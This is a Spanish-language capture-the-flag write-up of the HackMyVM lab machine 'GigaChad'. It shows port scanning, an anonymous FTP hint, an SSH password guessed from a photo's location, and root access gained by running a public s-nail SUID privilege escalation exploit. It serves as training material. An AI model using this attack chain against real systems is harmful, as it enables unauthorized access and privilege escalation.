cd ~/blog

~/writeups/hmv/082-gigachad.md

082 - GigaChad

easy Linux hmv 24-04-2024
OSINT image password guessingSUID s-nail LPE (EDB-ID 47172)
hackmyvm.eu/machines/machine.php?vm=GigaChad

~1 min de lectura


Enumeramos puertos:

 sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.26
 nmap -sCV -p21,22,80 -oN 02-targeted.txt 192.168.1.26
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-24 14:49 -04
Nmap scan report for 192.168.1.26
Host is up (0.00047s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x    1 1000     1000          297 Feb 07  2021 chadinfo
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
| http-robots.txt: 1 disallowed entry
|_/kingchad.html
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.05 seconds

En el FTP anónimo hay un chadinfo con una pista:

 cat chadinfo
why yes,
#######################
username is chad
???????????????????????
password?
!!!!!!!!!!!!!!!!!!!!!!!
go to /drippinchad.png

Descargamos la imagen y, con Google Lens (OSINT), identificamos el lugar como la Maiden's Tower, así que probamos maidenstower como contraseña SSH:

 ssh chad@192.168.1.26
chad@192.168.1.26's password: maidenstower
chad@gigachad:~$

Obtenemos una shell y la primera flag. Para escalar, buscamos binarios SUID:

chad@gigachad:~$ find / -perm -4000 2>/dev/null
...
/usr/lib/s-nail/s-nail-privsep
...

s-nail es vulnerable a una escalada local (EDB-ID 47172):

 searchsploit s-nail
S-nail < 14.8.16 - Local Privilege Escalation | multiple/local/47172.sh
chad@gigachad:/tmp$ ./exploit.sh
...
[+] got root! /var/tmp/.sh (uid=0 gid=0)
[.] Cleaning up...
[+] Success:
-rwsr-xr-x 1 root root 14424 Apr 24 20:36 /var/tmp/.sh
[.] Launching root shell: /var/tmp/.sh
# whoami
root

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados